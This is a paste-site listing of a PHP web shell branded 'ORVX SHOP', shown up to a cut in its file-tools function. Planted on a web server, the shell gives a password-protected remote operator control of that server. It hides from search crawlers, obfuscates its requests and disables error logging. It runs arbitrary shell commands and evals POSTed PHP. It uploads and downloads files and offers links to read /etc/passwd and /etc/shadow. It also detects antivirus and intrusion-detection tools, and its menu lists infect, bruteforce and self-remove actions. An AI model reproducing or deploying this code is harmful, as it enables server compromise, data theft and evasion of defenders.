SHOW:
|
|
- or go back to the newest paste.
1 | <?php | |
2 | error_reporting(0); | |
3 | //--------------ORVX SHOP--------------// | |
4 | if(array_key_exists('watching',$_POST)){ | |
5 | $tmp = $_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."\n".$_POST['pass']; | |
6 | } | |
7 | $wad = true; | |
8 | $dec = 'UTF-8'; | |
9 | $dect = 'FilesMan'; | |
10 | $dea = md5($_SERVER['HTTP_USER_AGENT']); | |
11 | if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) { | |
12 | prototype(md5($_SERVER['HTTP_HOST'])."key", $dea); | |
13 | }//--------------ORVX SHOP--------------// | |
14 | if(empty($_POST['charset'])) | |
15 | $_POST['charset'] = $dec; | |
16 | if (!isset($_POST['ne'])) { | |
17 | if(isset($_POST['a'])) $_POST['a'] = utf8_encode(decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])); | |
18 | if(isset($_POST['c'])) $_POST['c'] = utf8_encode(decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])); | |
19 | if(isset($_POST['p1'])) $_POST['p1'] = utf8_encode(decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])); | |
20 | if(isset($_POST['p2'])) $_POST['p2'] = utf8_encode(decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])); | |
21 | if(isset($_POST['p3'])) $_POST['p3'] = utf8_encode(decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])); | |
22 | }//--------------ORVX SHOP--------------// | |
23 | function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);} | |
24 | @ini_set('error_log',NULL); | |
25 | @ini_set('log_errors',0); | |
26 | @ini_set('max_execution_time',0); | |
27 | @set_time_limit(0); | |
28 | if (PHP_VERSION_ID < 70000) | |
29 | @set_magic_quotes_runtime(0); | |
30 | @define('VERSION', '4.2.5'); | |
31 | if(get_magic_quotes_gpc()) { | |
32 | function stripslashes_array($array) { | |
33 | return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); | |
34 | } | |
35 | $_POST = stripslashes_array($_POST); | |
36 | $_COOKIE = stripslashes_array($_COOKIE); | |
37 | } | |
38 | ||
39 | if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) | |
40 | $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$wad; | |
41 | function hardLogin() { | |
42 | if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
43 | $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
44 | if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { | |
45 | header('HTTP/1.0 404 Not Found'); | |
46 | exit; | |
47 | } | |
48 | } | |
49 | die("<pre align=center><form method=post>Password<br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='submit' style='border:none;background-color:#56AD15;color:red;cursor:pointer;'></form></pre>"); | |
50 | } | |
51 | if(strtolower(substr(PHP_OS,0,3)) == "win") | |
52 | $os = 'win'; | |
53 | else | |
54 | $os = 'nix'; | |
55 | $safe_mode = @ini_get('safe_mode'); | |
56 | if(!$safe_mode) | |
57 | error_reporting(0); | |
58 | $disable_functions = @ini_get('disable_functions'); | |
59 | $home_cwd = @getcwd(); | |
60 | if(isset($_POST['c'])) | |
61 | @chdir($_POST['c']); | |
62 | $cwd = @getcwd(); | |
63 | if($os == 'win') { | |
64 | $home_cwd = str_replace("\\", "/", $home_cwd); | |
65 | $cwd = str_replace("\\", "/", $cwd); | |
66 | }//--------------ORVX SHOP--------------// | |
67 | if($cwd[strlen($cwd)-1] != '/') | |
68 | $cwd .= '/'; | |
69 | //--------------ORVX SHOP--------------// | |
70 | function hardHeader() { | |
71 | if(empty($_POST['charset'])) | |
72 | $_POST['charset'] = $GLOBALS[$dec]; | |
73 | echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - O R V X - SHOP</title> | |
74 | <style> | |
75 | body {background-color:black; color:red; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;} | |
76 | #particles-js{width: 100%; height: 100px; background-color: black; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;} | |
77 | body,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;} | |
78 | table.info {color:white;} | |
79 | table#toolsTbl {background-color: black;} | |
80 | span,h1,a {color:red !important;} | |
81 | span {font-weight:bolder;} | |
82 | h1 {border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:black;margin:0px;} | |
83 | div.content {padding:5px;margin-left:5px;background-color:#060a10;} | |
84 | a {text-decoration:none;} | |
85 | a:hover {text-decoration:underline;} | |
86 | .tooltip::after {background:#0663D5;color:red;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;} | |
87 | .tooltip:hover::after {opacity:1;visibility:visible;} | |
88 | .ml1 {border:1px solid #202832;padding:5px;margin:0;overflow:auto;} | |
89 | .bigarea {min-width:100%;max-width:100%;height:400px;} | |
90 | input, textarea, select {margin:0;color:red;background-color:#202832;border:none;font:9pt Courier New;outline:none;} | |
91 | label {position:relative} | |
92 | label:after {content:'<>';font:10px 'Consolas', monospace;color:red;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;} | |
93 | label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;} | |
94 | form {margin:0px;} | |
95 | #toolsTbl {text-align:center;} | |
96 | #fak {background:none;} | |
97 | #fak td {padding:5px 0 0 0;} | |
98 | iframe {border:1px solid #060a10;} | |
99 | .toolsInp {width:300px} | |
100 | .main th {text-align:left;background-color:#060a10;} | |
101 | .main tr:hover{background-color:black;} | |
102 | .main td, th{vertical-align:middle;} | |
103 | input[type='submit']{background-color:#1A1A1A;cursor:pointer;} | |
104 | input[type='button']{background-color:#1A1A1A;cursor:pointer;} | |
105 | input[type='submit']:hover{background-color:#0A0A0A;} | |
106 | input[type='button']:hover{background-color:#0A0A0A;} | |
107 | .l1 {background-color:#202832;} | |
108 | pre {font:9pt Courier New;} | |
109 | </style> | |
110 | <script> | |
111 | var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; | |
112 | var a_ = '" . htmlspecialchars(@$_POST['a']) ."' | |
113 | var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."'; | |
114 | var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."'; | |
115 | var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."'; | |
116 | var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."'; | |
117 | var d = document; | |
118 | ||
119 | function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);} | |
120 | function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;} | |
121 | function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;} | |
122 | function set(a,c,p1,p2,p3,charset) { | |
123 | if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; | |
124 | if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; | |
125 | if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; | |
126 | if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; | |
127 | if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; | |
128 | d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."'); | |
129 | d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."'); | |
130 | d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."'); | |
131 | d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."'); | |
132 | d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."'); | |
133 | if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; | |
134 | } | |
135 | function g(a,c,p1,p2,p3,charset) { | |
136 | set(a,c,p1,p2,p3,charset); | |
137 | d.mf.submit(); | |
138 | } | |
139 | function a(a,c,p1,p2,p3,charset) { | |
140 | set(a,c,p1,p2,p3,charset); | |
141 | var params = 'ajax=true'; | |
142 | for(i=0;i<d.mf.elements.length;i++) | |
143 | params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); | |
144 | sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params); | |
145 | } | |
146 | function sr(url, params) { | |
147 | if (window.XMLHttpRequest) | |
148 | req = new XMLHttpRequest(); | |
149 | else if (window.ActiveXObject) | |
150 | req = new ActiveXObject('Microsoft.XMLHTTP'); | |
151 | if (req) { | |
152 | req.onreadystatechange = processReqChange; | |
153 | req.open('POST', url, true); | |
154 | req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); | |
155 | req.send(params); | |
156 | } | |
157 | } | |
158 | function processReqChange() { | |
159 | if( (req.readyState == 4) ) | |
160 | if(req.status == 200) { | |
161 | var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); | |
162 | var arr=reg.exec(req.responseText); | |
163 | eval(arr[2].substr(0, arr[1])); | |
164 | } else alert('Request error!'); | |
165 | } | |
166 | </script> | |
167 | <head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'> | |
168 | <form method=post name=mf style='display:none;'> | |
169 | <input type=hidden name=a> | |
170 | <input type=hidden name=c> | |
171 | <input type=hidden name=p1> | |
172 | <input type=hidden name=p2> | |
173 | <input type=hidden name=p3> | |
174 | <input type=hidden name=charset> | |
175 | </form>"; | |
176 | $freeSpace = @diskfreespace($GLOBALS['cwd']); | |
177 | $totalSpace = @disk_total_space($GLOBALS['cwd']); | |
178 | $totalSpace = $totalSpace?$totalSpace:1; | |
179 | $release = @php_uname('r'); | |
180 | $kernel = @php_uname('s'); | |
181 | $explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description='; | |
182 | if(strpos('Linux', $kernel) !== false) | |
183 | $explink .= urlencode('Linux Kernel ' . substr($release,0,6)); | |
184 | else | |
185 | $explink .= urlencode($kernel . ' ' . substr($release,0,3)); | |
186 | if(!function_exists('posix_getegid')) { | |
187 | $user = @get_current_user(); | |
188 | $uid = @getmyuid(); | |
189 | $gid = @getmygid(); | |
190 | $group = "?"; | |
191 | } else { | |
192 | $uid = @posix_getpwuid(@posix_geteuid()); | |
193 | $gid = @posix_getgrgid(@posix_getegid()); | |
194 | $user = $uid['name']; | |
195 | $uid = $uid['uid']; | |
196 | $group = $gid['name']; | |
197 | $gid = $gid['gid']; | |
198 | } | |
199 | $cwd_links = ''; | |
200 | $path = explode("/", $GLOBALS['cwd']); | |
201 | $n=count($path); | |
202 | for($i=0; $i<$n-1; $i++) { | |
203 | $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; | |
204 | for($j=0; $j<=$i; $j++) | |
205 | $cwd_links .= $path[$j].'/'; | |
206 | $cwd_links .= "\")'>".$path[$i]."/</a>"; | |
207 | }//--------------ORVX SHOP--------------// | |
208 | $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); | |
209 | $opt_charsets = ''; | |
210 | foreach($charsets as $dokl) | |
211 | $opt_charsets .= '<option value="'.$dokl.'" '.($_POST['charset']==$dokl?'selected':'').'>'.$dokl.'</option>'; | |
212 | $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); | |
213 | if(!empty($GLOBALS['▛'])) | |
214 | $m['Logout'] = 'Logout'; | |
215 | $m['Self remove'] = 'SelfRemove'; | |
216 | $menu = ''; | |
217 | foreach($m as $k => $v) | |
218 | $menu .= '<th>[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>'; | |
219 | $drives = ""; | |
220 | if ($GLOBALS['os'] == 'win') { | |
221 | foreach(range('c','z') as $drive) | |
222 | if (is_dir($drive.':\\')) | |
223 | $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; | |
224 | } | |
225 | //--------------ORVX SHOP--------------// | |
226 | echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'. | |
227 | '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://noreferer.de/?http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[ Google ]</a> <a href="'.$explink.'" target=_blank>[ Exploit-DB ]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( ' .$group. ' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=red><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'. | |
228 | '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">'.$opt_charsets.'</select></label><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'. | |
229 | '<table style="background-color:black;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div>'; | |
230 | } | |
231 | function hardFooter() { | |
232 | $is_writable = is_writable($GLOBALS['cwd'])?" <font color='red'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>"; | |
233 | echo " | |
234 | </div> | |
235 | <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%> | |
236 | <tr> | |
237 | <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='submit'></form></td> | |
238 | <td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td> | |
239 | </tr><tr> | |
240 | <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td> | |
241 | <td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td> | |
242 | </tr><tr> | |
243 | <td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td> | |
244 | <td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'> | |
245 | <input type=hidden name=a value='FilesMan'> | |
246 | <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'> | |
247 | <input type=hidden name=p1 value='uploadFile'> | |
248 | <input type=hidden name=ne value=''> | |
249 | <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'> | |
250 | <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f[] multiple><input type=submit value='submit'></form><br ></td> | |
251 | </tr></table></div> | |
252 | <!-- particles --> <div id='particles-js'></div><script src='https://importantscripts.github.io/particles.min.js'></script> | |
253 | <script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#FF3030'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#FF3030','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script> | |
254 | </body></html>"; | |
255 | } | |
256 | if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} } | |
257 | if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} } | |
258 | function ex($in) { | |
259 | $dokas = ''; | |
260 | if (function_exists('exec')) { | |
261 | @exec($in,$dokas); | |
262 | $dokas = @join("\n",$dokas); | |
263 | } elseif (function_exists('passthru')) { | |
264 | ob_start(); | |
265 | @passthru($in); | |
266 | $dokas = ob_get_clean(); | |
267 | } elseif (function_exists('system')) { | |
268 | ob_start();//--------------ORVX SHOP--------------// | |
269 | @system($in); | |
270 | $dokas = ob_get_clean(); | |
271 | } elseif (function_exists('shell_exec')) { | |
272 | $dokas = shell_exec($in); | |
273 | } elseif (is_resource($f = @popen($in,"r"))) { | |
274 | $dokas = ""; | |
275 | while(!@feof($f)) | |
276 | $dokas .= fread($f,1024); | |
277 | pclose($f); | |
278 | }else return "↳ Unable to execute command\n"; | |
279 | return ($dokas==''?"↳ Query did not return anything\n":$dokas); | |
280 | } | |
281 | function viewSize($s) { | |
282 | if($s >= 1073741824) | |
283 | return sprintf('%1.2f', $s / 1073741824 ). ' GB'; | |
284 | elseif($s >= 1048576) | |
285 | return sprintf('%1.2f', $s / 1048576 ) . ' MB'; | |
286 | elseif($s >= 1024) | |
287 | return sprintf('%1.2f', $s / 1024 ) . ' KB'; | |
288 | else | |
289 | return $s . ' B'; | |
290 | } | |
291 | function perms($p) { | |
292 | if (($p & 0xC000) == 0xC000)$i = 's'; | |
293 | elseif (($p & 0xA000) == 0xA000)$i = 'l'; | |
294 | elseif (($p & 0x8000) == 0x8000)$i = '-'; | |
295 | elseif (($p & 0x6000) == 0x6000)$i = 'b'; | |
296 | elseif (($p & 0x4000) == 0x4000)$i = 'd'; | |
297 | elseif (($p & 0x2000) == 0x2000)$i = 'c'; | |
298 | elseif (($p & 0x1000) == 0x1000)$i = 'p'; | |
299 | else $i = 'u'; | |
300 | $i .= (($p & 0x0100) ? 'r' : '-'); | |
301 | $i .= (($p & 0x0080) ? 'w' : '-'); | |
302 | $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); | |
303 | $i .= (($p & 0x0020) ? 'r' : '-'); | |
304 | $i .= (($p & 0x0010) ? 'w' : '-'); | |
305 | $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); | |
306 | $i .= (($p & 0x0004) ? 'r' : '-'); | |
307 | $i .= (($p & 0x0002) ? 'w' : '-'); | |
308 | $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); | |
309 | return $i; | |
310 | }//--------------ORVX SHOP--------------////--------------ORVX SHOP--------------// | |
311 | function viewPermsColor($f) { | |
312 | if (!@is_readable($f)) | |
313 | return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>'; | |
314 | elseif (!@is_writable($f)) | |
315 | return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>'; | |
316 | else | |
317 | return '<font color=red><b>'.perms(@fileperms($f)).'</b></font>'; | |
318 | } | |
319 | function hardScandir($dir) { | |
320 | if(function_exists("scandir")) { | |
321 | return scandir($dir); | |
322 | } else { | |
323 | $dh = opendir($dir); | |
324 | while (false !== ($filename = readdir($dh))) | |
325 | $files[] = $filename; | |
326 | return $files; | |
327 | } | |
328 | } | |
329 | function which($p) { | |
330 | $path = ex('which ' . $p); | |
331 | if(!empty($path)) | |
332 | return $path; | |
333 | return false; | |
334 | } | |
335 | function actionRC() { | |
336 | if(!@$_POST['p1']) { | |
337 | $a = array( | |
338 | "uname" => php_uname(), | |
339 | "php_version" => phpversion(), | |
340 | "VERSION" => VERSION, | |
341 | "safemode" => @ini_get('safe_mode') | |
342 | ); | |
343 | echo serialize($a); | |
344 | } else { | |
345 | eval($_POST['p1']); | |
346 | } | |
347 | }//--------------ORVX SHOP--------------// | |
348 | function prototype($k, $v) { | |
349 | $_COOKIE[$k] = $v; | |
350 | setcookie($k, $v); | |
351 | } | |
352 | function actionSecInfo() { | |
353 | hardHeader(); | |
354 | echo '<h1>Server security information</h1><div class=content>'; | |
355 | function showSecParam($n, $v) { | |
356 | $v = trim($v); | |
357 | if($v) { | |
358 | echo '<span>' . $n . ': </span>'; | |
359 | if(strpos($v, "\n") === false) | |
360 | echo $v . '<br>'; | |
361 | else | |
362 | echo '<pre class=ml1>' . $v . '</pre>'; | |
363 | } | |
364 | } | |
365 | showSecParam('Server software', @getenv('SERVER_SOFTWARE')); | |
366 | if(function_exists('apache_get_modules')) | |
367 | showSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); | |
368 | showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); | |
369 | showSecParam('Open base dir', @ini_get('open_basedir')); | |
370 | showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); | |
371 | showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); | |
372 | showSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); | |
373 | $temp=array(); | |
374 | if(function_exists('mysql_get_client_info')) | |
375 | $temp[] = "MySql (".mysql_get_client_info().")"; | |
376 | if(function_exists('mssql_connect')) | |
377 | $temp[] = "MSSQL"; | |
378 | if(function_exists('pg_connect')) | |
379 | $temp[] = "PostgreSQL"; | |
380 | if(function_exists('oci_connect')) | |
381 | $temp[] = "Oracle"; | |
382 | showSecParam('Supported databases', implode(', ', $temp)); | |
383 | echo '<br>'; | |
384 | if($GLOBALS['os'] == 'nix') { | |
385 | showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no'); | |
386 | showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no'); | |
387 | showSecParam('OS version', @file_get_contents('/proc/version')); | |
388 | showSecParam('Distr name', @file_get_contents('/etc/issue.net')); | |
389 | if(!$GLOBALS['safe_mode']) { | |
390 | $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); | |
391 | $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); | |
392 | $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); | |
393 | echo '<br>'; | |
394 | $temp=array(); | |
395 | foreach ($userful as $dokl) | |
396 | if(which($dokl)) | |
397 | $temp[] = $dokl; | |
398 | showSecParam('Userful', implode(', ',$temp)); | |
399 | $temp=array(); | |
400 | foreach ($danger as $dokl) | |
401 | if(which($dokl)) | |
402 | $temp[] = $dokl; | |
403 | showSecParam('Danger', implode(', ',$temp)); | |
404 | $temp=array(); | |
405 | foreach ($downloaders as $dokl) | |
406 | if(which($dokl)) | |
407 | $temp[] = $dokl; | |
408 | showSecParam('Downloaders', implode(', ',$temp)); | |
409 | echo '<br/>'; | |
410 | showSecParam('HDD space', ex('df -h')); | |
411 | showSecParam('Hosts', @file_get_contents('/etc/hosts')); | |
412 | showSecParam('Mount options', @file_get_contents('/etc/fstab')); | |
413 | }//--------------ORVX SHOP--------------// | |
414 | } else { | |
415 | showSecParam('OS Version',ex('ver')); | |
416 | showSecParam('Account Settings', utf8_encode(ex('net accounts'))); | |
417 | showSecParam('User Accounts', utf8_encode(ex('net user'))); | |
418 | } | |
419 | echo '</div>'; | |
420 | hardFooter(); | |
421 | } | |
422 | function actionFilesTools() { | |
423 | if( isset($_POST['p1']) ) | |
424 | $_POST['p1'] = urldecode($_POST['p1']); | |
425 | if(@$_POST['p2']=='download') { | |
426 | if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { | |
427 | ob_start("ob_gzhandler", 4096); | |
428 | header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); | |
429 | if (function_exists("mime_content_type")) { | |
430 | $type = @mime_content_type($_POST['p1']); | |
431 | header("Content-Type: " . $type); | |
432 | } else | |
433 | header("Content-Type: application/octet-stream"); | |
434 | $fp = @fopen($_POST['p1'], "r"); | |
435 | if($fp) { | |
436 | while(!@feof($fp)) | |
437 | echo @fread($fp, 1024); | |
438 | fclose($fp); | |
439 | } | |
440 | }exit; | |
441 | } | |
442 | if( @$_POST['p2'] == 'mkfile' ) { | |
443 | if(!file_exists($_POST['p1'])) { | |
444 | $fp = @fopen($_POST['p1'], 'w'); | |
445 | if($fp) { | |
446 | $_POST['p2'] = "edit"; | |
447 | fclose($fp); | |
448 | } | |
449 | } | |
450 | }//--------------ORVX SHOP--------------// | |
451 | hardHeader(); | |
452 | echo '<h1>File tools</h1><div class=content>'; | |
453 | if( !file_exists(@$_POST['p1']) ) { | |
454 | echo 'File not exists'; | |
455 | hardFooter(); | |
456 | return; | |
457 | } | |
458 | $uid = @posix_getpwuid(@fileowner($_POST['p1'])); | |
459 | if(!$uid) { | |
460 | $uid['name'] = @fileowner($_POST['p1']); | |
461 | $gid['name'] = @filegroup($_POST['p1']); | |
462 | } else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); | |
463 | echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>'; | |
